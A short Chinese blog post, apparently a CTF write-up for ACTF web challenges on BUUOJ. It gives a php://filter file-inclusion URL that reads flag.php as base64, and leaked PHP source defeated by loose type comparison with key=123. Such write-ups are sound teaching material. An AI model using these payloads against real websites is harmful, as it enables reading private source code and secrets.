ACTF题解

最新推荐文章于 2025-04-29 23:52:28 发布

Mr_小白先生

最新推荐文章于 2025-04-29 23:52:28 发布

阅读量933

点赞数

分类专栏： ctf

本文链接：https://blog.youkuaiyun.com/qq_41788704/article/details/109046353

版权

本文详细介绍了在ACTF比赛中通过查看HTML源码定位flag位置，利用伪协议进行文件包含，以及发现并利用index.php.bak源码泄露来解题的过程。还提到了弱类型比较在解题中的关键作用。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

Include

查看HTML源码,发现flag位置
在这里插入图片描述因为题目提示，所以用伪协议包含文件

http://e4ca9c95-59dc-4e4f-8e08-99bbf23306dd.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

exec

在这里插入图片描述

backupfile

扫描发现index.php.bak源码泄露

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}

弱类型比较
key=123